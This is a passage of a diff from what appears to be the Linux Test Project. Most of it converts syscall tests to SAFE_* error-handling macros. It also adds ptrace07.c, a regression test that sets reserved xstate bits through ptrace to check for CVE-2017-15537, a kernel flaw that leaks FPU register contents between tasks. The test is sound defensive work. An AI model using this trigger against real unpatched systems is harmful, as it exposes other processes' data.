@@ -76,6 +76,7 @@
 #include <inttypes.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TEMPFILE	"pread_file"
 #define K1              1024
@@ -340,10 +341,7 @@
 	}
 
 	/* Close the temporary file */
-	if (close(fildes) < 0) {
-		tst_brkm(TBROK, NULL, "close() on %s Failed, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
-	}
+	SAFE_CLOSE(NULL, fildes);
 
 	tst_rmdir();
 
diff --git a/testcases/kernel/syscalls/pread/pread02.c b/testcases/kernel/syscalls/pread/pread02.c
index b973977..aa194f6 100644
--- a/testcases/kernel/syscalls/pread/pread02.c
+++ b/testcases/kernel/syscalls/pread/pread02.c
@@ -72,6 +72,7 @@
 #include <fcntl.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TEMPFILE	"pread_file"
 #define K1              1024
@@ -211,10 +212,7 @@
 int setup1(void)
 {
 	/* Create a pair of unnamed pipe */
-	if (pipe(pfd) < 0) {
-		tst_brkm(TBROK, cleanup, "pipe() failed to create pair of "
-			 "pipe, error:%d", errno);
-	}
+	SAFE_PIPE(cleanup, pfd);
 
 	/* Write known data (0's) of K1 bytes */
 	if (write(pfd[1], write_buf[0], K1) != K1) {
@@ -290,10 +288,7 @@
 	}
 
 	/* Close the temporary file created in setup2 */
-	if (close(fd1) < 0) {
-		tst_brkm(TBROK, NULL, "close() on %s Failed, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
-	}
+	SAFE_CLOSE(NULL, fd1);
 
 	tst_rmdir();
 
diff --git a/testcases/kernel/syscalls/profil/profil01.c b/testcases/kernel/syscalls/profil/profil01.c
index 2fc47aa..f116402 100644
--- a/testcases/kernel/syscalls/profil/profil01.c
+++ b/testcases/kernel/syscalls/profil/profil01.c
@@ -27,6 +27,11 @@
 #include <sys/types.h>
 #include "test.h"
 #include "safe_macros.h"
+#include "config.h"
+
+char *TCID = "profil01";
+
+#if HAVE_PROFIL
 
 #define PROFIL_TIME 5
 
@@ -36,7 +41,6 @@
  * just in case compiler put call to get_pc() below "data shuffling" code */
 #define PROFIL_BUFLEN (32*1024)
 
-char *TCID = "profil01";
 int TST_TOTAL = 1;
 
 static volatile sig_atomic_t profil_done;
@@ -124,3 +128,9 @@
 
 	tst_exit();
 }
+#else /* systems without profil() */
+int main(void)
+{
+        tst_brkm(TCONF, NULL, "system doesn't have profil() support");
+}
+#endif
diff --git a/testcases/kernel/syscalls/pselect/pselect01.c b/testcases/kernel/syscalls/pselect/pselect01.c
index a2b5339..1392689 100644
--- a/testcases/kernel/syscalls/pselect/pselect01.c
+++ b/testcases/kernel/syscalls/pselect/pselect01.c
@@ -44,6 +44,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "pselect()",
+	.scall = "pselect()",
 	.sample = sample_fn,
 };
diff --git a/testcases/kernel/syscalls/ptrace/ptrace07.c b/testcases/kernel/syscalls/ptrace/ptrace07.c
new file mode 100644
index 0000000..82698a4
--- /dev/null
+++ b/testcases/kernel/syscalls/ptrace/ptrace07.c
@@ -0,0 +1,177 @@
+/*
+ * Copyright (c) 2017 Google, Inc.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program, if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Regression test for commit 814fb7bb7db5 ("x86/fpu: Don't let userspace set
+ * bogus xcomp_bv"), or CVE-2017-15537.  This bug allowed ptrace(pid,
+ * PTRACE_SETREGSET, NT_X86_XSTATE, &iov) to assign a task an invalid FPU state
+ * --- specifically, by setting reserved bits in xstate_header.xcomp_bv.  This
+ * made restoring the FPU registers fail when switching to the task, causing the
+ * FPU registers to take on the values from other tasks.
+ *
+ * To detect the bug, we have a subprocess run a loop checking its xmm0 register
+ * for corruption.  This detects the case where the FPU state became invalid and
+ * the kernel is not restoring the process's registers.  Note that we have to
+ * set the expected value of xmm0 to all 0's since it is acceptable behavior for
+ * the kernel to simply reinitialize the FPU state upon seeing that it is
+ * invalid.  To increase the chance of detecting the problem, we also create
+ * additional subprocesses that spin with different xmm0 contents.
+ *
+ * Thus bug affected the x86 architecture only.  Other architectures could have
+ * similar bugs as well, but this test has to be x86-specific because it has to
+ * know about the architecture-dependent FPU state.
+ */
+
+#include <errno.h>
+#include <inttypes.h>
+#include <sched.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+
+#include "config.h"
+#include "ptrace.h"
+#include "tst_test.h"
+
+#ifndef PTRACE_GETREGSET
+# define PTRACE_GETREGSET 0x4204
+#endif
+
+#ifndef PTRACE_SETREGSET
+# define PTRACE_SETREGSET 0x4205
+#endif
+
+#ifndef NT_X86_XSTATE
+# define NT_X86_XSTATE 0x202
+#endif
+
+#ifdef __x86_64__
+static void check_regs_loop(uint32_t initval)
+{
+	const unsigned long num_iters = 1000000000;
+	uint32_t xmm0[4] = { initval, initval, initval, initval };
+	int status = 1;
+
+	asm volatile("   movdqu %0, %%xmm0\n"
+		     "   mov %0, %%rbx\n"
+		     "1: dec %2\n"
+		     "   jz 2f\n"
+		     "   movdqu %%xmm0, %0\n"
+		     "   mov %0, %%rax\n"
+		     "   cmp %%rax, %%rbx\n"
+		     "   je 1b\n"
+		     "   jmp 3f\n"
+		     "2: mov $0, %1\n"
+		     "3:\n"
+		     : "+m" (xmm0), "+r" (status)
+		     : "r" (num_iters) : "rax", "rbx", "xmm0");
+
+	if (status) {
+		tst_res(TFAIL,
+			"xmm registers corrupted!  initval=%08X, xmm0=%08X%08X%08X%08X\n",
+			initval, xmm0[0], xmm0[1], xmm0[2], xmm0[3]);
+	}
+	exit(status);
+}
+
+static void do_test(void)
+{
+	int i;
+	int num_cpus = tst_ncpus();
+	pid_t pid;
+	uint64_t xstate[512];
+	struct iovec iov = { .iov_base = xstate, .iov_len = sizeof(xstate) };
+	int status;
+	bool okay;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TST_CHECKPOINT_WAKE(0);
+		check_regs_loop(0x00000000);
+	}
+	for (i = 0; i < num_cpus; i++) {
+		if (SAFE_FORK() == 0)
+			check_regs_loop(0xDEADBEEF);
+	}
+
+	TST_CHECKPOINT_WAIT(0);
+	sched_yield();
+
+	TEST(ptrace(PTRACE_ATTACH, pid, 0, 0));
+	if (TEST_RETURN != 0)
+		tst_brk(TBROK | TTERRNO, "PTRACE_ATTACH failed");
+
+	SAFE_WAITPID(pid, NULL, 0);
+	TEST(ptrace(PTRACE_GETREGSET, pid, NT_X86_XSTATE, &iov));
+	if (TEST_RETURN != 0) {
+		if (TEST_ERRNO == EIO)
+			tst_brk(TCONF, "GETREGSET/SETREGSET is unsupported");
+
+		if (TEST_ERRNO == EINVAL)
+			tst_brk(TCONF, "NT_X86_XSTATE is unsupported");
+
+		if (TEST_ERRNO == ENODEV)
+			tst_brk(TCONF, "CPU doesn't support XSAVE instruction");
+
+		tst_brk(TBROK | TTERRNO,
+			"PTRACE_GETREGSET failed with unexpected error");
+	}
+
+	xstate[65] = -1; /* sets all bits in xstate_header.xcomp_bv */
+
+	/*
+	 * Old kernels simply masked out all the reserved bits in the xstate
+	 * header (causing the PTRACE_SETREGSET command here to succeed), while
+	 * new kernels will reject them (causing the PTRACE_SETREGSET command
+	 * here to fail with EINVAL).  We accept either behavior, as neither
+	 * behavior reliably tells us whether the real bug (which we test for
+	 * below in either case) is present.
+	 */
+	TEST(ptrace(PTRACE_SETREGSET, pid, NT_X86_XSTATE, &iov));
+	if (TEST_RETURN == 0) {
+		tst_res(TINFO, "PTRACE_SETREGSET with reserved bits succeeded");
+	} else if (TEST_ERRNO == EINVAL) {
+		tst_res(TINFO,
+			"PTRACE_SETREGSET with reserved bits failed with EINVAL");
+	} else {
+		tst_brk(TBROK | TTERRNO,
+			"PTRACE_SETREGSET failed with unexpected error");
+	}
+
+	TEST(ptrace(PTRACE_CONT, pid, 0, 0));
+	if (TEST_RETURN != 0)
+		tst_brk(TBROK | TTERRNO, "PTRACE_CONT failed");
+
+	okay = true;
+	for (i = 0; i < num_cpus + 1; i++) {
+		SAFE_WAIT(&status);
+		okay &= (WIFEXITED(status) && WEXITSTATUS(status) == 0);
+	}
+	if (okay)
+		tst_res(TPASS, "wasn't able to set invalid FPU state");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+};
+
+#else /* !__x86_64__ */
+	TST_TEST_TCONF("this test is only supported on x86_64");
+#endif /* __x86_64__ */
diff --git a/testcases/kernel/syscalls/pwrite/pwrite01.c b/testcases/kernel/syscalls/pwrite/pwrite01.c
index 2d00fb1..937160a 100644
--- a/testcases/kernel/syscalls/pwrite/pwrite01.c
+++ b/testcases/kernel/syscalls/pwrite/pwrite01.c
@@ -78,6 +78,7 @@
 #include <inttypes.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define _XOPEN_SOURCE 500
 #define TEMPFILE	"pwrite_file"
@@ -328,10 +329,7 @@
 	}
 
 	/* Close the temporary file */
-	if (close(fildes) < 0) {
-		tst_brkm(TBROK, NULL, "close() on %s Failed, errno=%d : %s",
-			 TEMPFILE, errno, strerror(errno));
-	}
+	SAFE_CLOSE(NULL, fildes);
 
 	tst_rmdir();
 
diff --git a/testcases/kernel/syscalls/read/read04.c b/testcases/kernel/syscalls/read/read04.c
index aa9a7bf..11469ad 100644
--- a/testcases/kernel/syscalls/read/read04.c
+++ b/testcases/kernel/syscalls/read/read04.c
@@ -51,6 +51,7 @@
 #include <fcntl.h>
 #include <errno.h>
 #include "test.h"
+#include "safe_macros.h"
 
 void cleanup(void);
 void setup(void);
@@ -103,9 +104,7 @@
 		}
 		tst_resm(TPASS, "functionality of read() is correct");
 
-		if (close(rfild) == -1) {
-			tst_brkm(TBROK, cleanup, "close() failed");
-		}
+		SAFE_CLOSE(cleanup, rfild);
 	}
 
 	cleanup();
diff --git a/testcases/kernel/syscalls/readahead/readahead02.c b/testcases/kernel/syscalls/readahead/readahead02.c
index 7e51cd3..319dc91 100644
--- a/testcases/kernel/syscalls/readahead/readahead02.c
+++ b/testcases/kernel/syscalls/readahead/readahead02.c
@@ -211,9 +211,7 @@
 	off_t offset = 0;
 	struct timeval now;
 
-	fd = open(fname, O_RDONLY);
-	if (fd < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "Failed to open %s", fname);
+	fd = SAFE_OPEN(cleanup, fname, O_RDONLY);
 
 	if (do_readahead) {
 		cached_start = get_cached_size();
@@ -273,8 +271,7 @@
 	if (!do_readahead)
 		*cached = get_cached_size();
 
-	if (munmap(p, fsize) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "munmap failed");
+	SAFE_MUNMAP(cleanup, p, fsize);
 
 	*read_bytes = get_bytes_read() - read_bytes_start;
 	if (gettimeofday(&now, NULL) == -1)
@@ -282,8 +279,7 @@
 	time_end_usec = now.tv_sec * 1000000 + now.tv_usec;
 	*usec = time_end_usec - time_start_usec;
 
-	if (close(fd) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close failed");
+	SAFE_CLOSE(cleanup, fd);
 }
 
 static void test_readahead(void)
diff --git a/testcases/kernel/syscalls/readlink/readlink01.c b/testcases/kernel/syscalls/readlink/readlink01.c
index 0682275..5f6448a 100644
--- a/testcases/kernel/syscalls/readlink/readlink01.c
+++ b/testcases/kernel/syscalls/readlink/readlink01.c
@@ -72,6 +72,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define TESTFILE	"testfile"
 #define SYMFILE		"slink_file"
@@ -158,9 +159,7 @@
 	if ((ltpuser = getpwnam(nobody_uid)) == NULL) {
 		tst_brkm(TBROK, cleanup, "getpwname(nobody_uid) failed ");
 	}
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "seteuid to nobody failed");
-	}
+	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
@@ -179,10 +178,7 @@
 	}
 
 	/* Create a symlink of testfile under temporary directory */
-	if (symlink(TESTFILE, SYMFILE) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "symlink(%s, %s) failed",
-			 TESTFILE, SYMFILE);
-	}
+	SAFE_SYMLINK(cleanup, TESTFILE, SYMFILE);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/readlink/readlink04.c b/testcases/kernel/syscalls/readlink/readlink04.c
index 62cc9e4..9c6c589 100644
--- a/testcases/kernel/syscalls/readlink/readlink04.c
+++ b/testcases/kernel/syscalls/readlink/readlink04.c
@@ -39,6 +39,7 @@
 #include <errno.h>
 #include <string.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "readlink04";
 int TST_TOTAL = 1;
@@ -122,8 +123,7 @@
 		tst_brkm(TBROK, cleanup, "getpwname() failed");
 
 	/* make the tmp directory belong to bin */
-	if (chown(tmp_dir, pwent->pw_uid, pwent->pw_gid) == -1)
-		tst_brkm(TBROK, cleanup, "chown() failed");
+	SAFE_CHOWN(cleanup, tmp_dir, pwent->pw_uid, pwent->pw_gid);
 
 	if (chmod(tmp_dir, 0711) != 0)
 		tst_brkm(TBROK|TERRNO, cleanup, "chmod(%s) failed", tmp_dir);
@@ -135,10 +135,7 @@
 	if (close(fd))
 		tst_brkm(TBROK|TERRNO, cleanup, "close(%s) failed", TESTFILE);
 
-	if (symlink(TESTFILE, SYMFILE) < 0) {
-		tst_brkm(TBROK|TERRNO, cleanup, "symlink(%s, %s) failed",
-		         TESTFILE, SYMFILE);
-	}
+	SAFE_SYMLINK(cleanup, TESTFILE, SYMFILE);
 
 	/* set up the expected return value from the readlink() call */
 	exp_val = strlen(TESTFILE);
@@ -150,14 +147,12 @@
 	if ((pwent = getpwnam("nobody")) == NULL)
 		tst_brkm(TBROK, cleanup, "getpwname() failed for nobody");
 
-	if (seteuid(pwent->pw_uid) == -1)
-		tst_brkm(TBROK, cleanup, "seteuid() failed for nobody");
+	SAFE_SETEUID(cleanup, pwent->pw_uid);
 }
 
 static void cleanup(void)
 {
-	if (seteuid(0) == -1)
-		tst_brkm(TBROK, NULL, "failed to set process id to root");
+	SAFE_SETEUID(NULL, 0);
 
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/readv/readv02.c b/testcases/kernel/syscalls/readv/readv02.c
index d8b1981..aa40e2c 100644
--- a/testcases/kernel/syscalls/readv/readv02.c
+++ b/testcases/kernel/syscalls/readv/readv02.c
@@ -47,6 +47,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define	K_1	1024
 #define	M_1	K_1 * K_1
@@ -212,9 +213,7 @@
 		}
 	}
 
-	if (close(fd[0]) < 0) {
-		tst_brkm(TBROK, cleanup, "close failed: errno = %d", errno);
-	}
+	SAFE_CLOSE(cleanup, fd[0]);
 
 	if ((fd[0] = open(f_name, O_RDONLY, 0666)) < 0) {
 		tst_brkm(TBROK, cleanup, "open failed: fname = %s, "
@@ -237,10 +236,7 @@
  */
 void cleanup(void)
 {
-	if (unlink(f_name) < 0) {
-		tst_brkm(TBROK, NULL, "unlink FAILED: file %s, errno %d",
-			 f_name, errno);
-	}
+	SAFE_UNLINK(NULL, f_name);
 	tst_rmdir();
 
 }
@@ -283,8 +279,6 @@
 
 long l_seek(int fdesc, long offset, int whence)
 {
-	if (lseek(fdesc, offset, whence) < 0) {
-		tst_brkm(TBROK, cleanup, "lseek Failed : errno = %d", errno);
-	}
+	SAFE_LSEEK(cleanup, fdesc, offset, whence);
 	return 0;
 }
diff --git a/testcases/kernel/syscalls/readv/readv03.c b/testcases/kernel/syscalls/readv/readv03.c
index 7896d91..09a2ce4 100644
--- a/testcases/kernel/syscalls/readv/readv03.c
+++ b/testcases/kernel/syscalls/readv/readv03.c
@@ -55,6 +55,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define	K_1	1024
 #define MODES   S_IRWXU
@@ -141,9 +142,7 @@
  */
 void cleanup(void)
 {
-	if (close(fd) < 0) {
-		tst_brkm(TBROK, cleanup, "close failed: errno = %d", errno);
-	}
+	SAFE_CLOSE(cleanup, fd);
 	tst_rmdir();
 
 }
diff --git a/testcases/kernel/syscalls/recv/recv01.c b/testcases/kernel/syscalls/recv/recv01.c
index 9c21dc2..2f09864 100644
--- a/testcases/kernel/syscalls/recv/recv01.c
+++ b/testcases/kernel/syscalls/recv/recv01.c
@@ -53,6 +53,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "recv01";
 int testno;
@@ -192,9 +193,8 @@
 	struct timeval timeout;
 	int n;
 
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "socket setup failed");
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+		        tdat[testno].proto);
 	if (tdat[testno].type == SOCK_STREAM &&
 	    connect(s, (struct sockaddr *)&sin1, sizeof(sin1)) < 0) {
 		tst_brkm(TBROK | TERRNO, cleanup, "connect failed");
@@ -238,8 +238,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "server listen failed");
 		return -1;
 	}
-	if (getsockname(sfd, (struct sockaddr *)sin0, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sfd, (struct sockaddr *)sin0, &slen);
 
 	switch ((pid = FORK_OR_VFORK())) {
 	case 0:		/* child */
diff --git a/testcases/kernel/syscalls/recvfrom/recvfrom01.c b/testcases/kernel/syscalls/recvfrom/recvfrom01.c
index 3bcf2a1..853d1cb 100644
--- a/testcases/kernel/syscalls/recvfrom/recvfrom01.c
+++ b/testcases/kernel/syscalls/recvfrom/recvfrom01.c
@@ -53,6 +53,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "recvfrom01";
 int testno;
@@ -214,9 +215,8 @@
 	struct timeval timeout;
 	int n;
 
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "socket() failed");
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
 	if (tdat[testno].type == SOCK_STREAM &&
 	    connect(s, (struct sockaddr *)&sin1, sizeof(sin1)) < 0) {
 		tst_brkm(TBROK | TERRNO, cleanup, "connect failed");
@@ -267,8 +267,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "server listen failed");
 		return -1;
 	}
-	if (getsockname(sfd, (struct sockaddr *)sin0, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sfd, (struct sockaddr *)sin0, &slen);
 
 	switch ((pid = FORK_OR_VFORK())) {
 	case 0:		/* child */
diff --git a/testcases/kernel/syscalls/recvmsg/recvmsg01.c b/testcases/kernel/syscalls/recvmsg/recvmsg01.c
index 13bd58f..13bcaa4 100644
--- a/testcases/kernel/syscalls/recvmsg/recvmsg01.c
+++ b/testcases/kernel/syscalls/recvmsg/recvmsg01.c
@@ -56,6 +56,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "recvmsg01";
 int testno;
@@ -294,15 +295,12 @@
 	struct timeval timeout;
 	int n;
 
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "socket setup failed");
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
 	if (tdat[testno].type == SOCK_STREAM) {
 		if (tdat[testno].domain == PF_INET) {
-			if (connect(s, (struct sockaddr *)&sin1, sizeof(sin1)) <
-			    0)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "connect failed");
+			SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1,
+				     sizeof(sin1));
 			/* Wait for something to be readable, else we won't detect EFAULT on recv */
 			FD_ZERO(&rdfds);
 			FD_SET(s, &rdfds);
@@ -313,10 +311,8 @@
 				tst_brkm(TBROK, cleanup,
 					 "client setup1 failed - no message ready in 2 sec");
 		} else if (tdat[testno].domain == PF_UNIX) {
-			if (connect(s, (struct sockaddr *)&sun1, sizeof(sun1)) <
-			    0)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "UD connect failed");
+			SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sun1,
+				     sizeof(sun1));
 		}
 	}
 }
@@ -387,8 +383,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "server listen failed");
 		return -1;
 	}
-	if (getsockname(sfd, (struct sockaddr *)ssin, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sfd, (struct sockaddr *)ssin, &slen);
 
 	/* set up UNIX-domain socket */
 	ufd = socket(PF_UNIX, SOCK_STREAM, 0);
diff --git a/testcases/kernel/syscalls/rename/rename01.c b/testcases/kernel/syscalls/rename/rename01.c
index f619732..e7de18f 100644
--- a/testcases/kernel/syscalls/rename/rename01.c
+++ b/testcases/kernel/syscalls/rename/rename01.c
@@ -72,6 +72,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -132,11 +133,7 @@
 				continue;
 			}
 
-			if (stat(TC[i].name2, &buf1) == -1) {
-				tst_brkm(TBROK, cleanup, "stat of %s "
-					 "failed", TC[i].desc);
-
-			}
+			SAFE_STAT(cleanup, TC[i].name2, &buf1);
 
 			/*
 			 * verify the new file or directory is the
@@ -163,13 +160,9 @@
 				 "for renaming a %s", TC[i].desc);
 		}
 		/* reset things in case we are looping */
-		if (rename(mname, fname) == -1) {
-			tst_brkm(TBROK, cleanup, "file rename failed");
-		}
+		SAFE_RENAME(cleanup, mname, fname);
 
-		if (rename(mdir, fdir) == -1) {
-			tst_brkm(TBROK, cleanup, "directory rename failed");
-		}
+		SAFE_RENAME(cleanup, mdir, fdir);
 	}
 
 	cleanup();
@@ -197,25 +190,15 @@
 
 	SAFE_TOUCH(cleanup, fname, 0700, NULL);
 
-	if (stat(fname, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat file %s"
-			 "in setup()", fname);
-
-	}
+	SAFE_STAT(cleanup, fname, &buf1);
 
 	f_olddev = buf1.st_dev;
 	f_oldino = buf1.st_ino;
 
 	/* create "old" directory */
-	if (mkdir(fdir, 00770) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", fdir);
-	}
+	SAFE_MKDIR(cleanup, fdir, 00770);
 
-	if (stat(fdir, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s"
-			 "in setup()", fname);
-
-	}
+	SAFE_STAT(cleanup, fdir, &buf1);
 
 	d_olddev = buf1.st_dev;
 	d_oldino = buf1.st_ino;
diff --git a/testcases/kernel/syscalls/rename/rename03.c b/testcases/kernel/syscalls/rename/rename03.c
index 1e89fea..396e95c 100644
--- a/testcases/kernel/syscalls/rename/rename03.c
+++ b/testcases/kernel/syscalls/rename/rename03.c
@@ -69,6 +69,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void setup2();
@@ -129,11 +130,7 @@
 				continue;
 			}
 
-			if (stat(TC[i].name2, &buf2) == -1) {
-				tst_brkm(TBROK, cleanup, "stat of %s "
-					 "failed", TC[i].desc);
-
-			}
+			SAFE_STAT(cleanup, TC[i].name2, &buf2);
 
 			/*
 			 * verify the new file or directory is the
@@ -163,15 +160,10 @@
 		/* reset things in case we are looping */
 
 		/* unlink the new file */
-		if (unlink(mname) == -1) {
-			tst_brkm(TBROK, cleanup, "unlink() failed");
-		}
+		SAFE_UNLINK(cleanup, mname);
 
 		/* remove the new directory */
-		if (rmdir(mdir) == -1) {
-			tst_brkm(TBROK, cleanup, "Couldn't remove directory %s",
-				 mdir);
-		}
+		SAFE_RMDIR(cleanup, mdir);
 	}
 
 	cleanup();
@@ -205,11 +197,7 @@
 {
 	SAFE_TOUCH(cleanup, fname, 0700, NULL);
 
-	if (stat(fname, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat file %s"
-			 "in rename()", fname);
-
-	}
+	SAFE_STAT(cleanup, fname, &buf1);
 
 	/* save original file's dev and ino */
 	f_olddev = buf1.st_dev;
@@ -218,22 +206,14 @@
 	SAFE_TOUCH(cleanup, mname, 0700, NULL);
 
 	/* create "old" directory */
-	if (mkdir(fdir, 00770) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", fdir);
-	}
-	if (stat(fdir, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s"
-			 "in rename()", fdir);
-
-	}
+	SAFE_MKDIR(cleanup, fdir, 00770);
+	SAFE_STAT(cleanup, fdir, &buf1);
 
 	d_olddev = buf1.st_dev;
 	d_oldino = buf1.st_ino;
 
 	/* create another directory */
-	if (mkdir(mdir, 00770) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", mdir);
-	}
+	SAFE_MKDIR(cleanup, mdir, 00770);
 }
 
 /*
diff --git a/testcases/kernel/syscalls/rename/rename04.c b/testcases/kernel/syscalls/rename/rename04.c
index d9c373e..32594a7 100644
--- a/testcases/kernel/syscalls/rename/rename04.c
+++ b/testcases/kernel/syscalls/rename/rename04.c
@@ -64,6 +64,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -147,32 +148,20 @@
 	sprintf(tstfile, "%s/tstfile_%d", mdir, getpid());
 
 	/* create "old" directory */
-	if (mkdir(fdir, 00770) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", fdir);
-	}
+	SAFE_MKDIR(cleanup, fdir, 00770);
 
-	if (stat(fdir, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s"
-			 "in rename()", fdir);
-
-	}
+	SAFE_STAT(cleanup, fdir, &buf1);
 
 	/* save "old"'s dev and ino */
 	olddev = buf1.st_dev;
 	oldino = buf1.st_ino;
 
 	/* create another directory */
-	if (mkdir(mdir, 00770) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", mdir);
-	}
+	SAFE_MKDIR(cleanup, mdir, 00770);
 
 	SAFE_TOUCH(cleanup, tstfile, 0700, NULL);
 
-	if (stat(mdir, &buf2) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s "
-			 "in rename()", mdir);
-
-	}
+	SAFE_STAT(cleanup, mdir, &buf2);
 
 	/* save "new"'s dev and ino */
 	olddev1 = buf2.st_dev;
diff --git a/testcases/kernel/syscalls/rename/rename05.c b/testcases/kernel/syscalls/rename/rename05.c
index 1082573..db10720 100644
--- a/testcases/kernel/syscalls/rename/rename05.c
+++ b/testcases/kernel/syscalls/rename/rename05.c
@@ -62,6 +62,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -139,11 +140,7 @@
 
 	/* create "old" file */
 	SAFE_TOUCH(cleanup, fname, 0700, NULL);
-	if (stat(fname, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat file %s"
-			 "in rename()", fname);
-
-	}
+	SAFE_STAT(cleanup, fname, &buf1);
 
 	/* save "old"'s dev and ino */
 	olddev = buf1.st_dev;
@@ -154,15 +151,9 @@
 		tst_brkm(TBROK, cleanup, "tmp directory %s found!", mdir);
 	}
 
-	if (mkdir(mdir, 00770) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", mdir);
-	}
+	SAFE_MKDIR(cleanup, mdir, 00770);
 
-	if (stat(mdir, &buf2) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s "
-			 "in rename()", mdir);
-
-	}
+	SAFE_STAT(cleanup, mdir, &buf2);
 
 	/* save "new"'s dev and ino */
 	olddev1 = buf2.st_dev;
diff --git a/testcases/kernel/syscalls/rename/rename06.c b/testcases/kernel/syscalls/rename/rename06.c
index b4bdda6..e415b41 100644
--- a/testcases/kernel/syscalls/rename/rename06.c
+++ b/testcases/kernel/syscalls/rename/rename06.c
@@ -63,6 +63,7 @@
 #include <errno.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 void setup();
 void cleanup();
@@ -139,14 +140,8 @@
 	if (stat(fdir, &buf1) != -1) {
 		tst_brkm(TBROK, cleanup, "tmp directory %s found!", fdir);
 	}
-	if (mkdir(fdir, 00770) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create directory %s", fdir);
-	}
-	if (stat(fdir, &buf1) == -1) {
-		tst_brkm(TBROK, cleanup, "failed to stat directory %s "
-			 "in rename()", fdir);
-
-	}
+	SAFE_MKDIR(cleanup, fdir, 00770);
+	SAFE_STAT(cleanup, fdir, &buf1);
 	/* save "old"'s dev and ino */
 	olddev = buf1.st_dev;
 	oldino = buf1.st_ino;
@@ -155,15 +150,9 @@
 	if (stat(mdir, &buf2) != -1) {
 		tst_brkm(TBROK, cleanup, "tmp directory %s found!", mdir);
 	}
-	if (mkdir(mdir, 00770) == -1) {
